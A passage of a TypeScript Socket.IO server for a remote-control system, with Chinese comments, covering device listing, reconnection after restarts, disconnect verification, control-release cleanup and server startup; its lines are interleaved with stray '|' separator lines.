// 🔧 处理未识别的连接类型
|
|
|
|
|
|
this.logger.warn(`⚠️ 未识别的连接断开: ${socket.id} (类型: ${socket.clientType})`)
|
|
|
|
|
|
|
|
|
|
|
|
// 尝试清理可能存在的记录
|
|
|
|
|
|
this.webClientManager.removeClientBySocketId(socket.id)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 获取所有设备(包含历史设备)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private getAllDevicesIncludingHistory(): any[] {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// ✅ 直接从数据库获取设备,状态已经正确存储
|
|
|
|
|
|
const allDbDevices = this.databaseService.getAllDevices()
|
|
|
|
|
|
|
|
|
|
|
|
// 获取内存中的在线设备,用于补充Socket ID
|
|
|
|
|
|
const onlineDevices = this.deviceManager.getAllDevices()
|
|
|
|
|
|
const onlineDeviceMap = new Map()
|
|
|
|
|
|
onlineDevices.forEach(device => {
|
|
|
|
|
|
onlineDeviceMap.set(device.id, device)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 转换为前端格式并补充Socket ID
|
|
|
|
|
|
const devices = allDbDevices.map(dbDevice => {
|
|
|
|
|
|
const onlineDevice = onlineDeviceMap.get(dbDevice.deviceId)
|
|
|
|
|
|
|
|
|
|
|
|
return {
|
|
|
|
|
|
id: dbDevice.deviceId,
|
|
|
|
|
|
socketId: onlineDevice?.socketId || '', // 在线设备有Socket ID,离线设备为空
|
|
|
|
|
|
name: dbDevice.deviceName,
|
|
|
|
|
|
model: dbDevice.deviceModel,
|
|
|
|
|
|
osVersion: dbDevice.osVersion,
|
|
|
|
|
|
appVersion: dbDevice.appVersion,
|
|
|
|
|
|
appName: dbDevice.appName,
|
|
|
|
|
|
remark: dbDevice.remark,
|
|
|
|
|
|
screenWidth: dbDevice.screenWidth,
|
|
|
|
|
|
screenHeight: dbDevice.screenHeight,
|
|
|
|
|
|
capabilities: dbDevice.capabilities,
|
|
|
|
|
|
connectedAt: dbDevice.firstSeen,
|
|
|
|
|
|
lastSeen: dbDevice.lastSeen,
|
|
|
|
|
|
// ✅ 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态
|
|
|
|
|
|
status: onlineDevice ? 'online' : dbDevice.status,
|
|
|
|
|
|
inputBlocked: onlineDevice?.inputBlocked || false,
|
|
|
|
|
|
publicIP: dbDevice.publicIP,
|
|
|
|
|
|
// 🆕 添加系统版本信息字段
|
|
|
|
|
|
systemVersionName: dbDevice.systemVersionName,
|
|
|
|
|
|
romType: dbDevice.romType,
|
|
|
|
|
|
romVersion: dbDevice.romVersion,
|
|
|
|
|
|
osBuildVersion: dbDevice.osBuildVersion
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`📊 获取设备列表: 总数=${devices.length}, 在线=${devices.filter(d => d.status === 'online').length}`)
|
|
|
|
|
|
return devices
|
|
|
|
|
|
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('获取设备列表失败:', error)
|
|
|
|
|
|
// 出错时返回内存中的设备
|
|
|
|
|
|
return this.deviceManager.getAllDevices()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🆕 获取活跃的Web客户端列表
|
|
|
|
|
|
*/
|
|
|
|
|
|
private getActiveWebClients(): any[] {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const allClients = Array.from(this.webClientManager.getAllClients())
|
|
|
|
|
|
const activeClients = allClients.filter(client => {
|
|
|
|
|
|
const socket = this.io.sockets.sockets.get(client.socketId)
|
|
|
|
|
|
return socket && socket.connected
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.debug(`📊 活跃Web客户端检查: 总数=${allClients.length}, 活跃=${activeClients.length}`)
|
|
|
|
|
|
|
|
|
|
|
|
return activeClients.map(client => ({
|
|
|
|
|
|
id: client.id,
|
|
|
|
|
|
userAgent: client.userAgent,
|
|
|
|
|
|
ip: client.ip,
|
|
|
|
|
|
connectedAt: client.connectedAt,
|
|
|
|
|
|
lastSeen: client.lastSeen
|
|
|
|
|
|
}))
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('获取活跃Web客户端失败:', error)
|
|
|
|
|
|
return []
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 广播设备状态
|
|
|
|
|
|
*/
|
|
|
|
|
|
private broadcastDeviceStatus(deviceId: string, status: any): void {
|
|
|
|
|
|
this.webClientManager.broadcastToAll('device_status_update', {
|
|
|
|
|
|
deviceId,
|
|
|
|
|
|
status
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 服务器启动时恢复设备状态
|
|
|
|
|
|
*/
|
|
|
|
|
|
private recoverDeviceStates(): void {
|
|
|
|
|
|
setTimeout(() => {
|
|
|
|
|
|
this.logger.info('🔄🔄🔄 开始恢复设备状态... 🔄🔄🔄')
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 首先将数据库中所有设备状态重置为离线
|
|
|
|
|
|
this.databaseService.resetAllDevicesToOffline()
|
|
|
|
|
|
|
|
|
|
|
|
// 获取所有已连接的Socket
|
|
|
|
|
|
const connectedSockets = Array.from(this.io.sockets.sockets.values())
|
|
|
|
|
|
this.logger.info(`📊 发现已连接的Socket数量: ${connectedSockets.length}`)
|
|
|
|
|
|
|
|
|
|
|
|
if (connectedSockets.length === 0) {
|
|
|
|
|
|
this.logger.info('📱 没有发现已连接的Socket,等待设备主动连接...')
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 向所有Socket发送ping,要求重新注册
|
|
|
|
|
|
connectedSockets.forEach((socket, index) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
this.logger.info(`📤 [${index + 1}/${connectedSockets.length}] 向Socket ${socket.id} 发送重新注册请求`)
|
|
|
|
|
|
|
|
|
|
|
|
// 检查Socket是否仍然连接
|
|
|
|
|
|
if (!socket.connected) {
|
|
|
|
|
|
this.logger.warn(`⚠️ Socket ${socket.id} 已断开,跳过`)
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 发送ping请求设备重新注册
|
|
|
|
|
|
socket.emit('server_restarted', {
|
|
|
|
|
|
message: '服务器已重启,请重新注册',
|
|
|
|
|
|
timestamp: new Date().toISOString()
|
|
|
|
|
|
})
|
|
|
|
|
|
this.logger.info(`✅ server_restarted 事件已发送到 ${socket.id}`)
|
|
|
|
|
|
|
|
|
|
|
|
// 同时发送通用ping
|
|
|
|
|
|
socket.emit('ping_for_registration', {
|
|
|
|
|
|
requireReregistration: true,
|
|
|
|
|
|
serverRestartTime: new Date().toISOString()
|
|
|
|
|
|
})
|
|
|
|
|
|
this.logger.info(`✅ ping_for_registration 事件已发送到 ${socket.id}`)
|
|
|
|
|
|
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error(`❌ 发送重新注册请求失败 (Socket: ${socket.id}):`, error)
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 5秒后检查恢复结果
|
|
|
|
|
|
setTimeout(() => {
|
|
|
|
|
|
const recoveredDevices = this.deviceManager.getDeviceCount()
|
|
|
|
|
|
this.logger.info(`🎉 设备状态恢复完成! 恢复设备数量: ${recoveredDevices}`)
|
|
|
|
|
|
|
|
|
|
|
|
if (recoveredDevices > 0) {
|
|
|
|
|
|
// 广播设备列表更新
|
|
|
|
|
|
this.webClientManager.broadcastToAll('devices_recovered', {
|
|
|
|
|
|
deviceCount: recoveredDevices,
|
|
|
|
|
|
devices: this.deviceManager.getAllDevices()
|
|
|
|
|
|
})
|
|
|
|
|
|
} else {
|
|
|
|
|
|
this.logger.warn('⚠️ 没有设备恢复连接,可能需要手动重启设备应用')
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 5000)
|
|
|
|
|
|
|
|
|
|
|
|
}, 2000) // 延迟2秒执行,确保服务器完全启动
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 启动状态一致性检查定时器
|
|
|
|
|
|
*/
|
|
|
|
|
|
private startConsistencyChecker(): void {
|
|
|
|
|
|
// 🔧 优化:平衡检查频率,快速发现断开同时避免心跳冲突
|
|
|
|
|
|
setInterval(() => {
|
|
|
|
|
|
this.checkAndFixInconsistentStates()
|
|
|
|
|
|
}, 60000) // 改为每1分钟检查一次,平衡检测速度和稳定性
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:每10秒刷新一次设备状态给Web端,确保状态同步
|
|
|
|
|
|
setInterval(() => {
|
|
|
|
|
|
this.refreshDeviceStatusToWebClients()
|
|
|
|
|
|
}, 10000) // 每10秒刷新一次
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info('✅ 状态一致性检查定时器已启动(1分钟间隔)- 平衡版本,快速检测断开+避免心跳误判+主动连接测试')
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 检查和修复不一致状态 - 增强版,减少误判
|
|
|
|
|
|
*/
|
|
|
|
|
|
private checkAndFixInconsistentStates(): void {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const memoryDevices = this.deviceManager.getAllDevices()
|
|
|
|
|
|
let fixedCount = 0
|
|
|
|
|
|
const currentTime = Date.now()
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.debug(`🔍 开始状态一致性检查,检查 ${memoryDevices.length} 个设备`)
|
|
|
|
|
|
|
|
|
|
|
|
for (const device of memoryDevices) {
|
|
|
|
|
|
const socket = this.io.sockets.sockets.get(device.socketId)
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 修复:增加多重验证条件,避免误判
|
|
|
|
|
|
const socketExists = !!socket
|
|
|
|
|
|
const socketConnected = socket?.connected || false
|
|
|
|
|
|
const timeSinceLastSeen = currentTime - device.lastSeen.getTime()
|
|
|
|
|
|
const isRecentlyActive = timeSinceLastSeen < 180000 // 3分钟内有活动
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.debug(`📊 设备 ${device.id} 状态检查: socket存在=${socketExists}, 连接=${socketConnected}, 最后活跃=${Math.round(timeSinceLastSeen / 1000)}秒前`)
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 平衡的断开判断逻辑:快速检测真实断开,避免心跳期间误判
|
|
|
|
|
|
// 1. Socket必须完全不存在(不检查connected状态,因为心跳期间可能瞬时为false)
|
|
|
|
|
|
// 2. 且设备超过2分钟无活动(适中的容错时间,足够检测真实断开)
|
|
|
|
|
|
// 3. 且不是刚连接的设备(避免恢复期间的竞态条件)
|
|
|
|
|
|
const shouldRemove = !socketExists &&
|
|
|
|
|
|
timeSinceLastSeen > 120000 && // 2分钟无活动才考虑断开
|
|
|
|
|
|
(currentTime - device.connectedAt.getTime()) > 60000 // 连接超过1分钟才检查
|
|
|
|
|
|
|
|
|
|
|
|
if (shouldRemove) {
|
|
|
|
|
|
this.logger.warn(`⚠️ 确认设备真正断开: ${device.id} (${device.name})`)
|
|
|
|
|
|
this.logger.warn(` - Socket存在: ${socketExists}, 连接: ${socketConnected}`)
|
|
|
|
|
|
this.logger.warn(` - 最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前`)
|
|
|
|
|
|
this.logger.warn(` - 连接时长: ${Math.round((currentTime - device.connectedAt.getTime()) / 1000)}秒`)
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 优化:适中的二次确认延迟,快速清理真正断开的设备
|
|
|
|
|
|
setTimeout(() => {
|
|
|
|
|
|
this.performSecondaryDeviceCheck(device.id, device.socketId)
|
|
|
|
|
|
}, 3000) // 3秒后二次确认
|
|
|
|
|
|
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 设备状态正常或在容错范围内
|
|
|
|
|
|
if (!socketExists || !socketConnected) {
|
|
|
|
|
|
this.logger.debug(`⏸️ 设备 ${device.id} Socket状态异常但在容错范围内 (最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前)`)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (fixedCount > 0) {
|
|
|
|
|
|
this.logger.info(`🔧 状态一致性检查完成,修复了 ${fixedCount} 个不一致状态`)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
this.logger.debug(`✅ 状态一致性检查完成,所有设备状态正常`)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('状态一致性检查失败:', error)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🔧 验证设备断开连接 - 平衡策略:快速检测真实断开,避免误判
|
|
|
|
|
|
*
|
|
|
|
|
|
* 优化策略:
|
|
|
|
|
|
* 1. Socket不存在时立即清理(真正断开)
|
|
|
|
|
|
* 2. Socket存在但未连接时主动测试(CONNECTION_TEST)
|
|
|
|
|
|
* 3. 测试无响应时确认断开,有响应时恢复状态
|
|
|
|
|
|
* 4. 缩短各种延迟时间,提高响应速度
|
|
|
|
|
|
*/
|
|
|
|
|
|
private verifyDeviceDisconnection(deviceId: string, socketId: string): void {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const device = this.deviceManager.getDevice(deviceId)
|
|
|
|
|
|
if (!device) {
|
|
|
|
|
|
this.logger.debug(`📋 验证断开时设备 ${deviceId} 已不在内存中,可能已被其他逻辑清理`)
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检查设备是否已经重新连接(新的Socket ID)
|
|
|
|
|
|
if (device.socketId !== socketId) {
|
|
|
|
|
|
this.logger.info(`✅ 设备 ${deviceId} 已重新连接,新Socket: ${device.socketId},跳过断开处理`)
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
const socket = this.io.sockets.sockets.get(socketId)
|
|
|
|
|
|
const currentTime = Date.now()
|
|
|
|
|
|
const timeSinceLastSeen = currentTime - device.lastSeen.getTime()
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 优化:区分不同断开场景的检查条件
|
|
|
|
|
|
const socketExists = !!socket
|
|
|
|
|
|
const socketConnected = socket?.connected || false
|
|
|
|
|
|
const hasRecentActivity = timeSinceLastSeen < 5000 // 5秒内有活动
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`🔍 验证设备 ${deviceId} 断开状态:`)
|
|
|
|
|
|
this.logger.info(` - Socket存在: ${socketExists}, 连接: ${socketConnected}`)
|
|
|
|
|
|
this.logger.info(` - 最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前`)
|
|
|
|
|
|
this.logger.info(` - 近期活跃: ${hasRecentActivity}`)
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 关键优化:如果Socket不存在,很可能是真正的断开
|
|
|
|
|
|
if (!socketExists) {
|
|
|
|
|
|
this.logger.warn(`❌ Socket完全不存在,确认设备真实断开: ${deviceId}`)
|
|
|
|
|
|
this.executeDeviceCleanup(deviceId, device)
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 如果Socket存在但未连接,且无近期活动,尝试主动测试连接
|
|
|
|
|
|
if (!socketConnected && !hasRecentActivity) {
|
|
|
|
|
|
this.logger.warn(`🔍 Socket存在但未连接,主动测试设备连接: ${deviceId}`)
|
|
|
|
|
|
this.testDeviceConnection(deviceId, socketId, device)
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 设备状态正常,确保Web端知道设备在线
|
|
|
|
|
|
this.logger.info(`✅ 验证结果:设备 ${deviceId} 仍然在线,disconnect事件是误报`)
|
|
|
|
|
|
this.webClientManager.broadcastToAll('device_status_update', {
|
|
|
|
|
|
deviceId: device.id,
|
|
|
|
|
|
status: {
|
|
|
|
|
|
online: true,
|
|
|
|
|
|
connected: true,
|
|
|
|
|
|
lastSeen: Date.now(),
|
|
|
|
|
|
inputBlocked: device.inputBlocked || false
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error(`验证设备断开失败 (${deviceId}):`, error)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🆕 主动测试设备连接
|
|
|
|
|
|
*/
|
|
|
|
|
|
private testDeviceConnection(deviceId: string, socketId: string, device: any): void {
|
|
|
|
|
|
const socket = this.io.sockets.sockets.get(socketId)
|
|
|
|
|
|
if (!socket) {
|
|
|
|
|
|
this.logger.warn(`❌ 测试连接时Socket已不存在: ${deviceId}`)
|
|
|
|
|
|
this.executeDeviceCleanup(deviceId, device)
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`📡 向设备 ${deviceId} 发送连接测试`)
|
|
|
|
|
|
|
|
|
|
|
|
// 设置响应超时
|
|
|
|
|
|
let responded = false
|
|
|
|
|
|
const timeout = setTimeout(() => {
|
|
|
|
|
|
if (!responded) {
|
|
|
|
|
|
this.logger.warn(`⏰ 设备 ${deviceId} 连接测试超时,确认断开`)
|
|
|
|
|
|
this.executeDeviceCleanup(deviceId, device)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 5000) // 5秒超时
|
|
|
|
|
|
|
|
|
|
|
|
// 发送测试ping
|
|
|
|
|
|
try {
|
|
|
|
|
|
socket.emit('CONNECTION_TEST', {
|
|
|
|
|
|
timestamp: Date.now(),
|
|
|
|
|
|
testId: `verify_${Date.now()}`
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 监听一次性响应
|
|
|
|
|
|
const responseHandler = (data: any) => {
|
|
|
|
|
|
responded = true
|
|
|
|
|
|
clearTimeout(timeout)
|
|
|
|
|
|
this.logger.info(`✅ 设备 ${deviceId} 连接测试成功,设备仍在线`)
|
|
|
|
|
|
|
|
|
|
|
|
// 更新设备活跃时间
|
|
|
|
|
|
device.lastSeen = new Date()
|
|
|
|
|
|
|
|
|
|
|
|
// 确保Web端知道设备在线
|
|
|
|
|
|
this.webClientManager.broadcastToAll('device_status_update', {
|
|
|
|
|
|
deviceId: device.id,
|
|
|
|
|
|
status: {
|
|
|
|
|
|
online: true,
|
|
|
|
|
|
connected: true,
|
|
|
|
|
|
lastSeen: Date.now(),
|
|
|
|
|
|
inputBlocked: device.inputBlocked || false
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 清理监听器
|
|
|
|
|
|
socket.off('CONNECTION_TEST_RESPONSE', responseHandler)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket.once('CONNECTION_TEST_RESPONSE', responseHandler)
|
|
|
|
|
|
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
responded = true
|
|
|
|
|
|
clearTimeout(timeout)
|
|
|
|
|
|
this.logger.error(`❌ 发送连接测试失败: ${deviceId}`, error)
|
|
|
|
|
|
this.executeDeviceCleanup(deviceId, device)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🆕 执行设备清理逻辑
|
|
|
|
|
|
*/
|
|
|
|
|
|
private executeDeviceCleanup(deviceId: string, device: any): void {
|
|
|
|
|
|
this.logger.warn(`🧹 执行设备清理: ${deviceId} (${device.name})`)
|
|
|
|
|
|
|
|
|
|
|
|
// 释放控制权
|
|
|
|
|
|
const controllerId = this.webClientManager.getDeviceController(deviceId)
|
|
|
|
|
|
if (controllerId) {
|
|
|
|
|
|
this.logger.info(`🔓 设备断开,自动释放控制权: ${deviceId} (控制者: ${controllerId})`)
|
|
|
|
|
|
this.webClientManager.releaseDeviceControl(deviceId)
|
|
|
|
|
|
|
|
|
|
|
|
// 通知控制的Web客户端设备已断开
|
|
|
|
|
|
this.webClientManager.sendToClient(controllerId, 'device_control_lost', {
|
|
|
|
|
|
deviceId: deviceId,
|
|
|
|
|
|
reason: 'device_disconnected',
|
|
|
|
|
|
message: '设备已断开连接'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 清理设备
|
|
|
|
|
|
this.deviceManager.removeDevice(deviceId)
|
|
|
|
|
|
this.databaseService.setDeviceOffline(deviceId)
|
|
|
|
|
|
this.webClientManager.broadcastToAll('device_disconnected', deviceId)
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`✅ 已清理断开的设备: ${device.name} (${deviceId})`)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🔧 二次确认设备是否真正断开(避免误判)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private performSecondaryDeviceCheck(deviceId: string, socketId: string): void {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const device = this.deviceManager.getDevice(deviceId)
|
|
|
|
|
|
if (!device) {
|
|
|
|
|
|
this.logger.debug(`📋 二次检查时设备 ${deviceId} 已不在内存中,跳过`)
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
const socket = this.io.sockets.sockets.get(socketId)
|
|
|
|
|
|
const currentTime = Date.now()
|
|
|
|
|
|
const timeSinceLastSeen = currentTime - device.lastSeen.getTime()
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 优化:二次检查条件更合理,60秒无活动就考虑断开
|
|
|
|
|
|
const socketExists = !!socket
|
|
|
|
|
|
const socketConnected = socket?.connected || false
|
|
|
|
|
|
const isInactive = timeSinceLastSeen > 60000 // 1分钟无活动
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`🔍 二次确认设备 ${deviceId} 状态:`)
|
|
|
|
|
|
this.logger.info(` - Socket存在: ${socketExists}, 连接: ${socketConnected}`)
|
|
|
|
|
|
this.logger.info(` - 最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前`)
|
|
|
|
|
|
|
|
|
|
|
|
if (!socketExists || (!socketConnected && isInactive)) {
|
|
|
|
|
|
this.logger.warn(`❌ 二次确认:设备 ${deviceId} 确实已断开,执行清理`)
|
|
|
|
|
|
this.executeDeviceCleanup(deviceId, device)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
this.logger.info(`✅ 二次确认:设备 ${deviceId} 状态正常,保持连接`)
|
|
|
|
|
|
|
|
|
|
|
|
// 设备状态恢复正常,确保Web端知道设备在线
|
|
|
|
|
|
if (socketExists && socketConnected) {
|
|
|
|
|
|
this.webClientManager.broadcastToAll('device_status_update', {
|
|
|
|
|
|
deviceId: device.id,
|
|
|
|
|
|
status: {
|
|
|
|
|
|
online: true,
|
|
|
|
|
|
connected: true,
|
|
|
|
|
|
lastSeen: Date.now(),
|
|
|
|
|
|
inputBlocked: device.inputBlocked || false
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error(`二次设备检查失败 (${deviceId}):`, error)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 刷新设备状态给Web客户端
|
|
|
|
|
|
*/
|
|
|
|
|
|
private refreshDeviceStatusToWebClients(): void {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const webClientCount = this.webClientManager.getClientCount()
|
|
|
|
|
|
if (webClientCount === 0) {
|
|
|
|
|
|
return // 没有Web客户端,跳过刷新
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
const onlineDevices = this.deviceManager.getAllDevices()
|
|
|
|
|
|
|
|
|
|
|
|
for (const device of onlineDevices) {
|
|
|
|
|
|
// 验证设备Socket仍然连接
|
|
|
|
|
|
const socket = this.io.sockets.sockets.get(device.socketId)
|
|
|
|
|
|
if (socket && socket.connected) {
|
|
|
|
|
|
// 广播设备在线状态
|
|
|
|
|
|
this.webClientManager.broadcastToAll('device_status_update', {
|
|
|
|
|
|
deviceId: device.id,
|
|
|
|
|
|
status: {
|
|
|
|
|
|
online: true,
|
|
|
|
|
|
connected: true,
|
|
|
|
|
|
lastSeen: Date.now(),
|
|
|
|
|
|
inputBlocked: device.inputBlocked || false
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (onlineDevices.length > 0) {
|
|
|
|
|
|
this.logger.debug(`🔄 已刷新 ${onlineDevices.length} 个设备状态给 ${webClientCount} 个Web客户端`)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('刷新设备状态失败:', error)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 启动服务器
|
|
|
|
|
|
*/
|
|
|
|
|
|
public async start(port: number = 3001): Promise<void> {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 🆕 先初始化 AuthService(确保超级管理员账号已创建)
|
|
|
|
|
|
this.logger.info('正在初始化认证服务...')
|
|
|
|
|
|
await this.authService.initialize()
|
|
|
|
|
|
this.logger.info('认证服务初始化完成')
|
|
|
|
|
|
|
|
|
|
|
|
// 然后启动服务器
|
|
|
|
|
|
this.server.listen(port, () => {
|
|
|
|
|
|
this.logger.info(`远程控制服务器启动成功,端口: ${port}`)
|
|
|
|
|
|
this.logger.info(`WebSocket服务地址: ws://localhost:${port}`)
|
|
|
|
|
|
this.logger.info(`HTTP API地址: http://localhost:${port}`)
|
|
|
|
|
|
this.logger.info(`🔧 关键修复已应用:`)
|
|
|
|
|
|
this.logger.info(` - Socket.IO心跳配置优化 (5分钟超时/2分钟间隔)`)
|
|
|
|
|
|
this.logger.info(` - 延迟验证disconnect事件 (3秒验证期)`)
|
|
|
|
|
|
this.logger.info(` - 增强设备活跃时间更新机制`)
|
|
|
|
|
|
this.logger.info(` - 减少状态检查器误判 (90秒间隔)`)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 关键修复:服务器启动后立即恢复设备状态
|
|
|
|
|
|
this.recoverDeviceStates()
|
|
|
|
|
|
})
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('服务器启动失败:', error)
|
|
|
|
|
|
// 即使初始化失败,也尝试启动服务器(可能已经有用户数据)
|
|
|
|
|
|
this.server.listen(port, () => {
|
|
|
|
|
|
this.logger.warn('服务器已启动,但认证服务初始化可能未完成')
|
|
|
|
|
|
this.logger.info(`远程控制服务器启动成功,端口: ${port}`)
|
|
|
|
|
|
this.recoverDeviceStates()
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 处理进程退出
|
|
|
|
|
|
process.on('SIGINT', () => {
|
|
|
|
|
|
this.logger.info('正在关闭服务器...')
|
|
|
|
|
|
this.server.close(() => {
|
|
|
|
|
|
this.logger.info('服务器已关闭')
|
|
|
|
|
|
process.exit(0)
|
|
|
|
|
|
})
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 添加全局错误处理,防止未捕获的异常导致程序崩溃
|
|
|
|
|
|
process.on('uncaughtException', (error: Error) => {
|
|
|
|
|
|
console.error('未捕获的异常:', error)
|
|
|
|
|
|
console.error('错误堆栈:', error.stack)
|
|
|
|
|
|
// 不退出进程,记录错误并继续运行
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
process.on('unhandledRejection', (reason: any, promise: Promise<any>) => {
|
|
|
|
|
|
console.error('未处理的Promise拒绝:', reason)
|
|
|
|
|
|
if (reason instanceof Error) {
|
|
|
|
|
|
console.error('错误堆栈:', reason.stack)
|
|
|
|
|
|
}
|
|
|
|
|
|
// 不退出进程,记录错误并继续运行
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 启动服务器
|
|
|
|
|
|
const server = new RemoteControlServer()
|
|
|
|
|
|
const port = process.env.PORT ? parseInt(process.env.PORT) : 3001
|
|
|
|
|
|
server.start(port).catch((error) => {
|
|
|
|
|
|
console.error('服务器启动失败:', error)
|
|
|
|
|
|
process.exit(1)
|
|
|
|
|
|
})
|